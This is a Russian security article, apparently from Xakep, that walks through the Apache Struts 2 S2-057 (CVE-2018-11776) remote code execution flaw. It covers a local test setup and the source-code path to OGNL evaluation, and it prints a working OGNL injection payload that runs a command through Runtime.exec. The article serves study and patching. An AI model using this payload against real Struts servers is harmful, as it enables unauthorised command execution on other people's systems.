Хакер - Пространство для эксплуатации. Как работает новая RCE-уязвимость в Apache Struts 2
aLLy
Содержание статьи
- Стенд
- Детали уязвимости
- Демонстрация уязвимости (видео)
- Выводы
Во фреймворке Apache Struts 2, виновном в утечке данных у Equifax, нашли очередную дыру. Она позволяет злоумышленнику, не имея никаких прав в системе, выполнить произвольный код от имени того пользователя, от которого запущен веб-сервер. Давай посмотрим, как эксплуатируется эта уязвимость.
INFO
В 2017 году мы рассмотрели две уязвимости в Struts 2, обе из которых приводили к выполнению произвольного кода в системе. Одна была связана с реализацией REST API, а другая как раз с парсингом языка OGNL (кстати, именно она и подвела Equifax).
Баг обнаружил исследователь Мань Юэ Мо (Man Yue Mo) из Semmle Security Research team десятого апреля 2018 года. Под угрозой оказались все версии фреймворка до 2.3.34 и 2.5.16 включительно. Атакующий может внедрить собственный namespace в приложение с помощью параметра в HTTP-запросе. При этом он никак не фильтруется приложением Struts и может быть произвольной строкой, которая затем попадает в парсер языковых конструкций OGNL (Object-Graph Navigation Language). А это прямая дорога к RCE.
Уязвимость получила внутренний идентификатор S2-057 (CVE-2018-11776) и статус критической. Давай разбираться, какие промахи допустили разработчики на этот раз.
Стенд
Один из немногих случаев, когда поднятие стенда на Java не представляет никаких проблем. В качестве веб-сервера я буду использовать Apache Tomcat версии 8.5.20 для Windows. Фреймворк возьму последней уязвимой версии ветки 2.3 — 2.3.34. Скачать ее можно с официального сервера архивных версий.
В архиве нас будет интересовать только файл struts2-showcase.war
из папки apps
. По сути, это тот же архив в формате ZIP. Просто распакуй его в директорию webapps/struts2-showcase
.
Это почти все приготовления. Осталось только создать комфортные условия для тестирования уязвимости. Для этого отредактируем содержимое файла struts-actionchaining.xml
из директории struts2-showcase/WEB-INF/classes
.
/webapps/struts2-showcase/WEB-INF/classes/struts-actionchaining.xml
<?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE struts PUBLIC "-//Apache Software Foundation//DTD Struts Configuration 2.3//EN" "http://struts.apache.org/dtds/struts-2.3.dtd"> <struts> <package name="actionchaining" extends="struts-default"> <action name="actionChain1" class="org.apache.struts2.showcase.actionchaining.ActionChain1"> <result type="redirectAction"> <param name = "actionName">comehere</param> </result> </action> </package> </struts>После этого запускаем сервер, переходим по адресу http://127.0.0.1:8080/struts2-showcase/index.action и наблюдаем приветственную страницу с примерами использования Struts 2.

Если у тебя Linux, то рекомендую взять Docker и поднять стенд одной командой:
$ docker run -d -p 8080:8080 vulhub/struts2:2.3.34-showcaseПосле этого не забудь отредактировать файл /usr/local/tomcat/webapps/ROOT/WEB-INF/classes/struts-actionchaining.xml
и перезапустить Tomcat.
Возникло желание немного подебажить? Тогда твой выбор — IntelliJ IDEA. Просто открой папку с исходниками (/struts-2.3.34/src
), в ней и настрой запуск сервера с приложением Showcase через Maven.

Дальше можешь выбирать пункт Debug из меню Run, ставить брейки и дебажить как тебе вздумается.
Детали уязвимости
Существует несколько кейсов, при которых возможна эксплуатация уязвимости. Первый из них — когда опция alwaysSelectFullNamespace
установлена в true
. Такую настройку, например, использует очень популярный плагин для Struts под названием Convention.
/plugins/convention/src/main/resources/struts-plugin.xml
... <struts order="20"> ... <constant name="struts.mapper.alwaysSelectFullNamespace" value="true"/> ...Если твое приложение использует этот плагин, значит, оно уязвимо. Struts Showcase его использует.
/struts2-showcase/META-INF/maven/org.apache.struts/struts2-showcase/pom.xml
... <dependency> <groupId>org.apache.struts</groupId> <artifactId>struts2-convention-plugin</artifactId> </dependency> ...Второй вариант — если приложение использует действия (actions), которые сконфигурированы без указания конкретного пространства имен (namespace), или использует в качестве него символы подстановки (/*
). Это относится не только к действиям, определенным внутри конфигурационных файлов Struts, но и к пространству имен, используемых непосредственно в исходном коде. Помнишь, во время поднятия стенда мы изменяли файл struts-actionchaining.xml
? Тем самым мы создали условия для возможной атаки.
/webapps/struts2-showcase/WEB-INF/classes/struts-actionchaining.xml
... <result type="redirectAction"> <param name = "actionName">comehere</param> </result> ...Существует несколько типов тега result
, которые уязвимы, если использовать их без указания пространства имен:
- redirectAction — указывает, что после выполнения текущего экшена нужно передать управление на другой;
- postback — тип результата, отображает текущие параметры запроса в виде формы, которая передает данные в указанное место назначения;
- chain — используется, когда необходимо объединить несколько экшенов в одну последовательную цепочку, результат которой передать пользователю.
В нашем случае указан redirectAction
, то есть если вызывается метод actionChain1
, то приложение редиректит нас на comehere
.

Это поведение обрабатывается классом ServletActionRedirectResult
. Он имплементирует метод execute
, который отрабатывает при каждом вызове действия.
/org/apache/struts2/dispatcher/ServletActionRedirectResult.java
128: public class ServletActionRedirectResult extends ServletRedirectResult implements ReflectionExceptionHandler { ... 165: public void execute(ActionInvocation invocation) throws Exception { 166: actionName = conditionalParse(actionName, invocation); 167: if (namespace == null) { 168: namespace = invocation.getProxy().getNamespace(); 169: } else { 170: namespace = conditionalParse(namespace, invocation); 171: }Обрати внимание на работу с пространством имен. Если оно не указано для экшена, на который происходит редирект, то выполняется конструкция invocation.getProxy().getNamespace()
. Она получает namespace из родительского экшена, который вызывает comehere
.

Так как наш метод — корневой, то и namespace будет равен /
. Теперь попробуем сделать вызов вида custom/actionChain1.action
.

Приложение думает, что custom
— это тоже экшен, и использует его в пространстве имен при формировании редиректа. Посмотрим, что происходит с ним дальше по коду.
/org/apache/struts2/dispatcher/ServletActionRedirectResult.java
178: String tmpLocation = actionMapper.getUriFromActionMapping(new ActionMapping(actionName, namespace, method, null));Метод getUriFromActionMapping
возвращает текущий URI до экшена, на который делаем редирект. Он извлекается из экземпляра объекта ActionMapping
.
/org/apache/struts2/dispatcher/mapper/DefaultActionMapper.java
487: public String getUriFromActionMapping(ActionMapping mapping) { 488: StringBuilder uri = new StringBuilder(); 489: 490: handleNamespace(mapping, uri); 491: handleName(mapping, uri); 492: handleDynamicMethod(mapping, uri); 493: handleExtension(mapping, uri); 494: handleParams(mapping, uri); 495: 496: return uri.toString(); 497: }
Далее полученная строка отправляется в setLocation
в качестве аргумента.
/org/apache/struts2/dispatcher/ServletActionRedirectResult.java
178: String tmpLocation = actionMapper.getUriFromActionMapping(new ActionMapping(actionName, namespace, method, null)); 179: 180: setLocation(tmpLocation);org/apache/struts2/dispatcher/StrutsResultSupport.java
106: public abstract class StrutsResultSupport implements Result, StrutsStatics { ... 143: public void setLocation(String location) { 144: this.location = location; 145: }И наконец, вызывается метод execute
из родительского класса StrutsResultSupport
.
/org/apache/struts2/dispatcher/ServletActionRedirectResult.java
165: public void execute(ActionInvocation invocation) throws Exception { ... 180: setLocation(tmpLocation); 181: 182: super.execute(invocation); 183: }/org/apache/struts2/dispatcher/StrutsResultSupport.java
106: public abstract class StrutsResultSupport implements Result, StrutsStatics { ... 189: public void execute(ActionInvocation invocation) throws Exception { 190: lastFinalLocation = conditionalParse(location, invocation);Теперь наша строка отправляется в conditionalParse
.
/org/apache/struts2/dispatcher/StrutsResultSupport.java
201: protected String conditionalParse(String param, ActionInvocation invocation) { 202: if (parse && param != null && invocation != null) { 203: return TextParseUtil.translateVariables( 204: param, 205: invocation.getStack(), 206: new EncodingParsedValueEvaluator()); 207: } else { 208: return param; 209: } 210: }
Затем строка направляется в TextParseUtil.translateVariables
.
/com/opensymphony/xwork2/util/TextParseUtil.java
38: public class TextParseUtil { ... 73: public static String translateVariables(String expression, ValueStack stack, ParsedValueEvaluator evaluator) { 74: return translateVariables(new char[]{'$', '%'}, expression, stack, String.class, evaluator).toString(); 75: }
Этот метод парсит строку, и если в ней обнаружены языковые выражения OGNL, то они выполняются через OgnlTextParser
. Признаком таких выражений служат конструкции вида ${}
или %{}
. Давай отправим вместо custom
OGNL c простым математическим действием — ${31337+1337}
.

После всего путешествия наша строка приземляется в evaluator.evaluate
, где выполняется указанное нами выражение.
/com/opensymphony/xwork2/util/OgnlTextParser.java
08: public class OgnlTextParser implements TextParser { ... 10: public Object evaluate(char[] openChars, String expression, TextParseUtil.ParsedValueEvaluator evaluator, int maxLoopCount) { ... 13: Object result = expression = (expression == null) ? "" : expression; ... 46: if ((start != -1) && (end != -1) && (count == 0)) { 47: String var = expression.substring(start + 2, end); 48: 49: Object o = evaluator.evaluate(var);
Результатом будет число 32 674. В итоге получается URI /32674/comehere.action
, и строка попадает в метод doExecute
.
/org/apache/struts2/dispatcher/StrutsResultSupport.java
189: public void execute(ActionInvocation invocation) throws Exception { ... 191: doExecute(lastFinalLocation, invocation); 192: }
И происходит редирект на данный URL.

По сути, здесь мы имеем удаленное выполнение произвольного кода. Чтобы это провернуть, используем готовую полезную нагрузку для запуска калькулятора.
${(#dma=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#ct.setMemberAccess(#dma)).(@java.lang.Runtime@getRuntime().exec("calc"))}Сначала включаем возможность вызова статичных методов в контексте выражений OGNL. Затем выполняем команду при помощи стандартного java.lang.Runtime.exec
.

Это все отлично работает до тех пор, пока мы отлаживаем приложение. А вот в продакшене некоторые потенциально опасные классы запрещены к выполнению в целях безопасности. Одним из первых в их ряду стоит java.lang.Runtime
. Тогда пейлоад превращается вот в такого монстра:
Здесь сначала очищается список запрещенных для вызова классов, а затем уже выполняется код.
Аналогична эксплуатация с остальными двумя типами result
— postback
и chain
. Можешь сам проверить, конфиги выглядят примерно так же.
Помимо варианта с разными типами result
, есть еще одна возможность эксплуатации уязвимости — когда используются теги s:url
. Если страница с ними вызывается через packages, у которых пространство имен не указано, то здесь попахивает RCE. Рассмотрим на примере.
Страница showcase.jsp
выводится по умолчанию — например, всякий раз, когда пытаешься обратиться к несуществующему экшену.
/src/apps/showcase/src/main/resources/struts.xml
<struts> ... <package name="default" extends="struts-default"> ... <default-action-ref name="showcase" /> <action name="showcase"> <result>/WEB-INF/showcase.jsp</result> </action> ...Добавим в нее строку <s:url/>
.
/src/apps/showcase/src/main/webapp/WEB-INF/showcase.jspshowcase.jsp
14: <body> 15: <div class="container-fluid"> 16: <div class="row-fluid"> 17: <div class="span12"> 18: 19: <div class="hero-unit"> ... 23: </div> 24: Current URI: <s:url /> 25: </div> 26: </div> 27: </div>
Теперь воспользуемся нашим расширенным пейлоадом, только здесь нужно взять конструкцию вида %{}
.
И когда дело дойдет до вывода текущего URL, код выполнится, и перед нами предстанет окно калькулятора.

Выводы
Уязвимости с попаданием пользовательских данных в парсер OGNL все продолжают преследовать фреймворк Struts 2. Одна из них — S2-045 (CVE-2017-5638) — уже стоила примерно 500 тысяч фунтов. Будем надеяться, что в последних патчах разработчики учли все нюансы и проблем такого типа теперь на порядок меньше. Так что поспеши обновиться на новые версии. На момент написания статьи это 2.5.17 и 2.3.35.
Также рекомендую прочитать сам репорт Маня Юэ Мо на LGTM. В нем он подробно рассказывает, как с помощью анализа подобных уязвимостей и нескольких запросов на языке Semmle QL удалось обнаружить описанную проблему в коде.
Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei